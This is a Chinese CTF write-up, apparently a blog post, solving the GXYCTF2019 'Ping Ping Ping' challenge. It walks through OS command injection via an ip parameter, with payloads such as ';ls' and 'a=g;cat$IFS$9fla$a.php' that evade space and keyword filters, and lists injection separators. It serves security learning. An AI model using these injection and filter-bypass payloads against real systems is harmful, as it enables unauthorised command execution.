[GXYCTF2019]Ping Ping Ping 思路及解法

大家好,你们可以叫我凌,是个16岁的网络安全学习者。

今天,我们来完成的是 GXYCTF2019Ping Ping Ping 这道题目。废话不多说,我们直接开始吧!

注:文章中的 IFS9 为编辑器显示错误,原为以下内容:


解题思路

我们先启动靶场。

观察靶场前端代码,出现 "/?ip=" 字样,猜测是接收个 IP 参数。

那我们就使用 Burp 进行截包,添加上 "127.0.0.1" 这个值看看有什么效果:

bash 复制代码
GET /?ip=127.0.0.1 HTTP/2

返回了以下内容,我们猜测前端接收了 ip 参数的值后是直接以 ping 拼接到系统命令当中的。

bash 复制代码
HTTP/2 200 OK
Server: openresty
Date: Thu, 09 Jul 2026 07:46:18 GMT
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.40
Cache-Control: no-cache

/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.045 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.068 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.068 ms
64 bytes from 127.0.0.1: seq=3 ttl=42 time=0.047 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.045/0.057/0.068 ms

于是以 分号";" 进行分隔开来,用 ls 命令进行探测文件。

bash 复制代码
GET /?ip=127.0.0.1;ls HTTP/2

返回了以下内容,发现可疑文件 flag.php。

bash 复制代码
HTTP/2 200 OK
Server: openresty
Date: Thu, 09 Jul 2026 07:51:27 GMT
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.40
Cache-Control: no-cache

/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.031 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.057 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.038 ms
64 bytes from 127.0.0.1: seq=3 ttl=42 time=0.058 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.031/0.046/0.058 ms
flag.php
index.php

那接下来我们尝试使用 cat 命令进行读取文件。

bash 复制代码
GET /?ip=127.0.0.1;cat%20flag.php HTTP/2

发现返回的是 "fxck your space!",看来被拦截了。

依次保留少量内容,排除拦截内容。发现 %20 和 flag.php 都被拦截了。

bash 复制代码
GET /?ip=127.0.0.1;cat HTTP/2
GET /?ip=127.0.0.1;%20 HTTP/2
GET /?ip=127.0.0.1;flag.php HTTP/2

那我们将 %20 修改为 IFS9 看看(在 Linux 中并不直接表示空格,但是可以用来代替空格)

bash 复制代码
GET /?ip=127.0.0.1;$IFS$9 HTTP/2

发现成功绕过了,那接下来就尝试对 flag.php 进行绕过。

既然对文件名进行绕过,那我们就对文件名进行修改,先尝试使用设参数的方法。

在此之前,先确认目标对 flag 的拦截机制。发送 "fla"、"fag" 等类似变种字样,看看是否拦截。

bash 复制代码
GET /?ip=127.0.0.1;a=g;fla HTTP/2

发现并没有被拦截,那我们就开始使用花样拼接 "g" 字符。

bash 复制代码
GET /?ip=127.0.0.1;a=g;fla$a HTTP/2

成功绕过 flag 检测拦截!接下来添加上 cat 命令:

bash 复制代码
GET /?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php HTTP/2

这样子,我们就成功拿下 flag 了!

bash 复制代码
HTTP/2 200 OK
Server: openresty
Date: Thu, 09 Jul 2026 08:20:01 GMT
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.40
Cache-Control: no-cache

/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.034 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.070 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.055 ms
64 bytes from 127.0.0.1: seq=3 ttl=42 time=0.065 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.034/0.056/0.070 ms
<?php
$flag = "CTF2{bf444f4c-7741-4a8c-800c-5e70bb9f77cf}";
?>

靶场小结

考点标签

命令注入 空格绕过 关键字过滤绕过 变量拼接

核心教训

1.看到 ping 功能,立刻测试命令拼接:;、|、&、&&、||、%0a 都是候选拼接符。这道题 分号";" 直接可用。

2.空格被过滤时的绕过手段:

  • IFS9:Linux 内部字段分隔符,Shell 会把它解析为空格。

  • %20 被拦时不代表空格就无解,换 IFS9 是经典绕过。

3.关键字被过滤时的绕过手段:

  • 先测试过滤机制:输入 fla、fag 等变体,看是否被拦,确认只过滤完整单词 flag。

  • 变量拼接:a=g;catIFS9fla$a.php,用变量把 g 藏在后面命令里不出现完整 flag 字符串。

4.分层绕过的标准流程:遇到拦截不要慌,逐步排除------先绕过空格,再绕过关键字,每一步只解决一个问题,直到 Payload 完全通过。

解题关键步骤

1.发现入口:前端有 /?ip= 参数,传入 127.0.0.1 返回 ping 结果,确认命令拼接点。

2.测试拼接:127.0.0.1; ls 列出目录,发现 flag.php。

3.尝试读取:127.0.0.1; cat flag.php 被拦,报错 fxck your space!,确认空格被过滤。

4.绕过空格:IFS9 替代空格,127.0.0.1;catIFS9flag.php 成功执行。

5.绕过关键字:flag 被过滤,用变量拼接 a=g; catIFS9 fla$a.php,成功读取源码。

6.拿到 Flag

相关推荐
云水一下5 小时前
零基础玩转bWAPP靶场(六十五):SQLiteManager XSS
web安全·xss·bwapp·sqlitemanager·cve-2012-5105·bee-box
移动云开发者联盟5 小时前
密态计算落地!MobileClaw解锁安全AI新范式
大数据·人工智能·安全
安科瑞-小李5 小时前
SST 固态变压器如何构建安全防线?全域在线监测标准化配置方案
安全·新能源·固态变压器·sst
HackTwoHub5 小时前
开箱即用 AI 渗透测试系统,整合多类AI工具、Web安全、内网攻防、二进制逆向、API测试、流量分析等多个安全领域
人工智能·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
LHX sir5 小时前
HubPort 和 SCADA / MES 是什么关系?是替代还是增强
网络·工业互联网·scada·mes
Zhang~Ling5 小时前
Linux多线程互斥锁:从现象到原理解析
linux·运维·网络
zmzmzmalo8 小时前
Linux ELF文件加载与内存管理揭秘
linux·网络·数据库
三言老师14 小时前
K8s集群运行时自动化运维全覆盖落地实操(下)
linux·运维·服务器·网络
独隅15 小时前
Cursor 安全插件链:构建实时 SAST/DAST 辅助分析工作流
安全
80s77716 小时前
住宅代理解析:动态住宅IP与静态住宅IP如何选型?
网络·网络协议·tcp/ip